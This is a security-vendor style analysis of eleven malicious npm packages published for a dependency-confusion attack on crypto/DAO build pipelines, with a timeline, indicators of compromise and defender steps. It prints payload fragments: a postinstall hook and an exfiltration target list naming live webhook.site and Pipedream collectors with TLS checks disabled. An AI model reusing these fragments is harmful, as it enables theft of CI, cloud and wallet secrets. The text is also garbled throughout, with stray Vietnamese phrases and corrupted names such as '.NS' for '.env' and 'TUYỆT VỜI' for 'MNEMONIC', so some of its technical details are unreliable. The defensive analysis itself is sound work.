TL; DR
On 2026-06-17, a single npm account published eleven packages that share one purpose and one payload. Ten of them carry the cryptodao- tiếp đầu ngữ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); the eleventh is the scoped @public-for-cdao/core. Every one was published at version 99.99.99 and ships a byte-identical recon.js nó chạy trên postinstall.
The names are the tell. They read like the internal building blocks of a crypto/DAO project's private toolchain. Published to the public npm registry at an artificially high version, they sit in wait for a build pipeline that is configured to resolve those names and that reaches public npm before — or instead of — the private registry. This is nhầm lẫn phụ thuộc, and the payload is tuned for exactly where it expects to land: CI/CD chạy.
Thời Gian postinstall đám cháy, recon.js collects host details, sweeps roughly forty cloud, CI, and crypto-wallet environment variables, reads any .env files it can find and forwards the secret-bearing lines verbatim, then transmits the bundle to two collectors — webhook.site and a Pipedream endpoint — with TLS certificate verification disabled. A copy is also written under /tmp.
Mức độ nghiêm trọng: caoHệ sinh thái bị ảnh hưởng: NPM. All eleven packages were live at the time of writing.
Giải phẫu tấn công
The mechanism has four moving parts, and none of them is subtle once you know to look one layer past the package name.
1. Version inflation as a resolver lure. Each package declares version 99.99.99. Dependency confusion works when a package manager, asked for an internal name, also checks the public registry and picks the highest version it finds. npm’s default selection for a caret or wildcard range is the highest-satisfying version across every configured source; if both a private registry and public npm answer for the same name, the larger version number wins. A 99.99.99 outranks essentially any real internal version a project will have reached, so a resolver that is not pinned to the private source prefers the public — and in this case, hostile — copy. The operator does not need to know the target’s real version numbers; picking an absurd maximum guarantees the tie always breaks their way.
2. A postinstall trigger. package.json wires the payload to the install vòng đời:
{ "scripts": { "postinstall": "node recon.js" } } No import of the package is required. Merely installing it — which a CI pipeline does automatically — runs recon.js.
3. A broad secret sweep. recon.js assembles a results array in stages:
- Host context: hostname, platform and release, architecture, username, working thư mục.
- Environment variables: it iterates a fixed list of about forty names and records any that are set. The list is revealing — it pairs generic CI tokens (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) and cloud thông tin xác thực (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) with registry and container secrets (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) and a distinctly crypto-flavored cluster: PRIVATE_KEY, TUYỆT VỜI, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC. Recorded values are truncated to the first 50 characters.
- .NS files: it probes a list of paths — .NS, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, và .sản xuất/.development variants — and for any file that exists, it filters the contents to lines matching KEY|SECRET|TOKEN|PASS|PRIVATE|MNEMONIC and pushes those lines **in full, untruncated** into the results.
- Build-host context: it lists the first 20 entries of /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/và / tmp /.
The path list and variable list are weighted toward GitLab runners, which points the payload squarely at self-hosted CI infrastructure rather than a developer laptop. Grouping the harvest list by category makes the intended haul plain:
| Phân loại | Variables / paths reached |
|---|---|
| CI/CD identity & deploy | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| đám mây | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registry & container | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Kho dữ liệu | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Crypto / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Tin nhắn | SLACK_TOKEN, DISCORD_TOKEN |
| On-disk | .env gia đình + /home/gitlab-runner/.env, /root/.env, /app/**/.env; directory listings of /builds/, /var/lib/gitlab-runner/ |
The crypto cluster is the part that distinguishes this from a generic CI-secret sweep: wallet seed phrases and signing keys only appear in the environment of a blockchain project, and they map directly onto the cryptodao-/ký tên/hợp đồng naming of the carriers.
4. Dual exfiltration with verification disabled. The collected array is serialized and POSTed to two destinations:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rejectUnauthorized: false turns off TLS certificate checks for the outbound calls. The same data is printed to stdout (so it also lands in CI job logs) and bằng văn bản cho /tmp/.npm_recon_<timestamp>.json. Errors are swallowed silently, so a failed send leaves no trace in the install output beyond a single [recon] <pkg> installed on <hostname> hàng.
A leading comment in the file describes it as a “Dependency Confusion Reconnaissance Payload.” The truncation of environment values to 50 characters has the shape of a proof of concept. What moves it past a presence-only beacon is the .NS handling: secret-bearing lines are forwarded in full, and the destinations are two working, attacker-controlled collectors rather than a sink that only counts lượt truy cập.
Lịch Trình Sự Kiện
The publish pattern is the signature of a single scripted push, not eleven independent uploads.
| Time (UTC, 2026-06-17) | Sự kiện |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 công bố |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — scoped variant, ~24 min later |
Ten packages went out inside a 29-second window, roughly one every three seconds. The scoped @public-for-cdao/core followed about 24 minutes after — a second naming convention for the same target, in case the consuming project references the internal toolchain under a scope rather than as bare names.
Các chỉ số thỏa hiệp
| Kiểu | chỉ số |
|---|---|
| Collector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Collector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Lắp đặt móc | postinstall: node recon.js |
| Dropped file | /tmp/.npm_recon_<timestamp>.json |
| Log marker | [recon] <pkg>@<ver> installed on <hostname> (stdout in CI logs) |
| Hành vi | rejectUnauthorized: false on outbound HTTPS during install |
| Khối hàng | recon.js, identical across all eleven packages (one shared build) |
| phiên bản | 99.99.99 on every package |
| Gói | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (tất cả các 99.99.99) |
| Nhà xuất bản | aduljune / aduljune@proton.me (email unverified, no linked source repository) |
Sự quy kết và hành vi quan sát được
Everything about the cluster points to one hand. All eleven packages were published by the npm account aduljune (aduljune@proton.me, an unverified address with no linked source repository), inside a 25-minute span, at the same 99.99.99 phiên bản, shipping a recon.js whose contents are byte-for-byte identical across every package (MD5 matches across all eleven extracted copies). That is one payload stamped onto a list of names, not independent code reuse.
The name list defines the intended target. cryptodao-* và cdao mô tả private module layout of a crypto/DAO project, and the payload’s harvest list mirrors that guess: alongside the generic CI and cloud secrets, it specifically đạt tới PRIVATE_KEY, TUYỆT VỜI, SEED_PHRASE, and Ethereum/BSC RPC and provider keys. The .NS search paths and directory listings are GitLab-runner specific. The observable effect is that any pipeline tricked into installing these names would forward its CI tokens, cloud keys, and on-disk .NS secrets — and, for a blockchain project, its wallet material — to two third-party collectors.
We make no claim about who operates the account or what they planned to do with the data. The facts that stand on their own: the names target a specific kind of internal toolchain, the payload reads and transmits real secret values, and the infrastructure was live.
Impact, trends, and defender guidance
Sự nhầm lẫn về sự phụ thuộc remains effective because it exploits resolver behavior, not a vulnerability in any package. The carrier here is trivial — eleven near-empty packages — but the blast radius is whatever pipeline mistakenly prefers public npm for an internal name. CI runners are the worst place for that to happen: they hold exactly the tokens and .NS files this payload reads, and they install dependencies non-interactively, so a sau khi cài đặt runs with no one watching.
This cluster also fits a pattern we keep seeing: install-time payloads that present as “research” or “reconnaissance” while doing real credential collection. The label in the file does not change what the code does on a runner. Two design choices keep the activity quiet: every network and filesystem operation is wrapped in an exception handler that discards errors, so a blocked send or a missing file produces no diagnostic output, and the only thing printed is a single innocuous [recon] … installed line that blends into normal install chatter. The use of webhook.site and Pipedream is also deliberate convenience — both are free, instantly provisioned request-capture services, so the operator needs no servers of their own and the destinations look like ordinary SaaS hostnames in egress logs.
The economics are what make this worth a defender’s attention even though the carrier code is trivial. Registering eleven names costs nothing, the payload is one file copied eleven times, and the package manager does all the execution. A single cấu hình sai pipeline anywhere that consumes one of these names pays for the whole hoạt động.
Concrete steps for defenders:
- Pin internal scopes to your private registry. Configure npm so internal names
and scopes resolve only against your registry (scoped .npmrc registry mappings, or a proxy that never falls through to public npm for owned namespaces). Reserve your public scope names so no one else can register them.
- Commit lockfiles and install with –ignore-scripts in CI where feasible, or vet the small set of dependencies that genuinely need install scripts. recon.js cannot run if sau khi cài đặt không được thực thi.
- Treat a 99.99.99 (or other absurdly high) version of an internal-looking name as a red flag in dependency review and registry monitoring.
- Alert on install-time egress. A sau khi cài đặt that opens an outbound HTTPS connection — especially with certificate verification disabled — to webhook.site, Pipedream, or similar request-capture services is worth blocking at the network edge and flagging in build logs.
- Hunt for the artifacts. Check runners for /tmp/.npm_recon_*.json và cho [recon] … installed on … marker in recent CI logs. If found, rotate every credential exposed to that pipeline — CI tokens, cloud keys, registry tokens, and any wallet seeds or private keys present in the environment or .env files.
dự án
No external reporting on this cluster existed at the time of writing; the analysis above is based directly on the published package contents




